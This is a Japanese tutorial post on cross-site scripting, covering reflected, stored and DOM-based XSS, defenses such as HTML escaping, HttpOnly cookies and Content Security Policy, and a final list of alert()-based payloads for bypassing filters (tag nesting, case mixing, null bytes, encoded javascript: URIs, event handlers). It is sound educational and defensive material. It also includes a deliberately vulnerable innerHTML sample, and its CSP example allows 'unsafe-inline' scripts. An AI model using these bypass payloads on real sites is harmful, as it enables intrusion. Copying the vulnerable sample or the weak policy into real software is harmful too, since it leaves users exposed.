クロスサイトスクリプティング(XSS)の種類、防御策および一般的なペイロード構築手法

XSSとは

クロスサイトスクリプティング(XSS)は、WebサイトがユーザーのブラウザでHTMLドキュメントをレンダリングする過程で、予期せぬスクリプトが実行されてしまう脆弱性です。最も単純な例として、<script>alert(1)</script>が挙げられます。

XSSの種類

反射型XSS

攻撃者が作成した悪意のあるURLをユーザーがクリックすることで、ユーザーのブラウザ上でスクリプトが実行されるタイプのXSSです。例えば、検索パラメータにスクリプトを埋め込み、その結果がページに反映されるケースが該当します。

以下のようなURLが考えられます:

https://example.com/search?query=<script>alert('XSS')</script>

格納型XSS

悪意のあるスクリプトがデータベースやファイルに保存され、他のユーザーがそのページを閲覧した際にスクリプトが実行されるタイプのXSSです。掲示板やコメント機能など、ユーザーが入力した内容が保存され、他のユーザーにも表示される機能でよく見られます。

攻撃の流れ:

  1. 攻撃者が悪意のあるコードを含むデータをWebサイトに送信
  2. Webサイトがコードをデータベースに保存
  3. 他のユーザーがページを要求
  4. サーバーが悪意のあるコードを含むデータをクライアントに送信
  5. ユーザーのブラウザでコードが実行され、攻撃が完了

DOMベースXSS

ドキュメントオブジェクトモデル(DOM)の操作を介して発生するXSSです。サーバー側ではなくクライアント側でDOMが操作される際に、適切な検証が行われていない場合に発生します。

以下に脆弱性のあるコード例を示します:

<script>
function updateContent() {
    var userInput = document.getElementById("userInput").value;
    document.getElementById("displayArea").innerHTML = "<a href='" + userInput + "'>リンク</a>";
}
</script>

<div id="displayArea"></div>
<input type="text" id="userInput" value="" />
<input type="button" value="更新" onclick="updateContent()" />

このコードでは、ユーザー入力が直接HTMLに挿入されるため、以下のような入力でXSSが発生します:

' onclick=alert('XSS攻撃') //

これにより、生成されるHTMLは次のようになり、リンクをクリックするとスクリプトが実行されます:

<a href='' onclick=alert('XSS攻撃') //'>リンク</a>

XSS防御策

入力フィルタリング

ユーザーからの入力データを厳密に検証し、許可された形式や長さのデータのみを受け付けます。具体的には:

  • データ型の検証:年齢は数値のみ、名前は英数字のみなど
  • 危険なHTMLタグのフィルタリング:<script><iframe>など
  • JavaScriptイベントハンドラのフィルタリング:onclickonerroronfocusなど

HTMLエンティティ化

特殊文字をHTMLエンティティに変換することで、スクリプトとして解釈されるのを防ぎます。

表示結果 説明 エンティティ
< 小なり &lt;
> 大なり &gt;
& アンパサンド &amp;
" 二重引用符 &quot;
' 単一引用符 &#039;

エンコーディング

1. HTMLEncode:特殊文字をHTMLエンティティに変換(&、<、>、"、'、/など)

2. JavaScriptEncode:バックスラッシュ(\)を使用して特殊文字をエスケープ

防御関数の利用

// HttpOnly属性を設定してJavaScriptからのCookieアクセスを防止
setcookie("session_id", "value", time()+3600, "/", "", true, true);

// HTMLタグをエンティティに変換
htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// HTMLタグを除去
strip_tags($user_input);

// JSONコンテンツのエスケープ
function escapeEmbedJSON($data) {
    return json_encode($data, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
}

X-XSS-Protectionヘッダの設定

レスポンスヘッダにX-XSS-Protectionを設定することで、ブラウザ組み込みのXSSフィルタを有効にできます。

  • X-XSS-Protection: 0 - XSS保護を無効化
  • X-XSS-Protection: 1 - XSS保護を有効化(デフォルト)
  • X-XSS-Protection: 1; mode=block - XSS攻撃を検出した場合にページのレンダリングを停止

URLエンコーディング

信頼できないデータをURLパラメータとして使用する場合、encodeURIComponentでエンコードします。

function encodeURLParam(input) {
  return encodeURIComponent(input);
};

CSSエンコーディング

信頼できないデータをCSSとして使用する場合、特殊文字をエスケープします。

function encodeCSS(input) {
  let encoded = '';
  for (let i = 0; i < input.length; i++) {
    let char = input.charAt(i);
    if (!/[a-zA-Z0-9]/.test(char)) {
      let hex = input.charCodeAt(i).toString(16);
      let padding = '000000'.substr(hex.length);
      encoded += '\\' + padding + hex;
    } else {
      encoded += char;
    }
  }
  return encoded;
};

JavaScriptエンコーディング

onclick、onerror、href、srcなどの属性ではHTMLエンコーディングだけでは不十分です。JavaScriptエンコーディングも併用する必要があります。

コンテンツセキュリティポリシー(CSP)

Content-Security-Policyヘッダを使用することで、許可されたリソースのみを読み込むようにブラウザに指示できます。

<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted.cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https:;
connect-src 'self';
frame-src 'self';
">

主なディレクティブ:

  • default-src - デフォルトのポリシー設定
  • script-src - JavaScriptのソース制限
  • style-src - スタイルシートのソース制限
  • img-src - 画像のソース制限
  • connect-src - AJAX、WebSocketなどの接続先制限
  • frame-src - フレームのソース制限

一般的なペイロード構築手法

タグのネストによるフィルタリング回避

<scr<script>ipt>alert('XSS')</scr</script>ipt>

属性値のクロージング

"><script>alert('XSS')</script>

JavaScriptイベントハンドラの利用

<img src=x onerror=alert('XSS')>
<div onmouseover="alert('XSS')">マウスを乗せて</div>

iframeタグの利用

<iframe src="javascript:alert('XSS')"></iframe>

フォームアクションの悪用

<form action="javascript:alert('XSS')"><input type=submit></form>

大文字・小文字の混在による回避

<ScRiPt>alert('XSS')</sCrIpT>

二重記述による回避

<scrscriptipt>alert('XSS')</scrscriptipt>

エンコーディングによる回避

javascrip%0at:alert('XSS')
javascrip%09t:alert('XSS')  // タブ文字
javascrip%0at:alert('XSS')//http://
javascrip%0at:alert('XSS')/*http://*/

ヌルバイトの挿入

<scri%00pt>alert('XSS');</scri%00pt>
<scri\x00pt>alert('XSS');</scri%00pt>

src属性の悪用

<img src=x onerror=prompt('XSS');>
<svg onload=alert('XSS')>

タグ: XSS Webセキュリティ クロスサイトスクリプティング 脆弱性対策 HTMLエンコーディング

8月4日 23:28 投稿